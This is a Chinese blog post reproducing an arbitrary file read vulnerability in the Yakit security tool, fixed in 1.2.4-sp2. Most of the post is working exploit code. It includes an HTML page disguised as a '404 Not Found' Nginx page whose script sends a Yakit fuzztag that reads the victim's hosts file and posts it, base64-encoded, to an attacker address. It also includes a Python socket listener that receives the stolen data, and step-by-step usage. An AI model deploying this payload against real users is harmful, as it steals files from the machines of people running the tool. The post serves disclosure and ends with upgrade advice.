当前位置:   article > 正文

【漏洞复现】Yakit任意文件读取漏洞_yakit命中漏洞怎么利用

yakit命中漏洞怎么利用

漏洞描述

Yakit是基于yak语言开发的网络安全单兵工具,旨在打造一个覆盖渗透测试全流程的网络安全工具库,是近年新兴的一个BurpSuite平替工具,和burp的区别就在于数据包放过去不用配置ip端口协议这些,近期yakit爆出了一个任意文件读取漏洞,此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件。

Yakit默认不会对经过MITM代理的流量中的fuzztag进行解析,但是经过插件时会被解析。这是漏洞原理也是漏洞利用的限制。

影响版本

< Yaklang 1.2.4-sp2

漏洞复现

开启yakit的MITM代理并选择任意插件(ps:测试时好像有的插件行有的不行)

创建html,并开启web服务。python开端口,或者phpstudy都行,这里看自己习惯。

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>404 Not Found</title>
  5. </head>
  6. <body>
  7. <h1>404 Not Found</h1>
  8. <p>Nginx</p>
  9. <script>
  10. const xhr = new XMLHttpRequest();
  11. xhr.open("POST", "http://your-ip:23800");
  12. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  13. xhr.send(`file={{base64enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}}`);
  14. </script>
  15. </body>
  16. </html>

开启监听

yakit.py

  1. # -*- coding: utf-8 -*-
  2. #! /bin/python3
  3. import socket
  4. # 监听地址和端口
  5. host = '0.0.0.0'
  6. port = 23800
  7. # 创建socket服务器
  8. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  10. # 绑定并监听端口
  11. server.bind((host, port))
  12. server.listen()
  13. # 接收连接并监听请求
  14. print("Listening...")
  15. while True:
  16. # 接收客户端连接请求
  17. client, address = server.accept()
  18. print(f"Connected by {address}")
  19. # 读取客户端请求数据
  20. request = ''
  21. while True:
  22. input_data = client.recv(1024).decode('utf-8')
  23. request += input_data
  24. if len(input_data) < 1024:
  25. break
  26. # 提取请求头部
  27. headers = request.split('\n')
  28. print("Received headers:")
  29. for header in headers:
  30. print(header)
  31. # 关闭客户端连接
  32. client.close()

报这个错的话第一行加上# -*- coding: utf-8 -*-

使用方法:python yakit.py

然后访问上面创建的1.html

base64解码:

修复方法

1.2.4-sp2版本已进行修复,更新至1.2.4-sp2及以上版本

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/788141
推荐阅读
相关标签
  

闽ICP备14008679号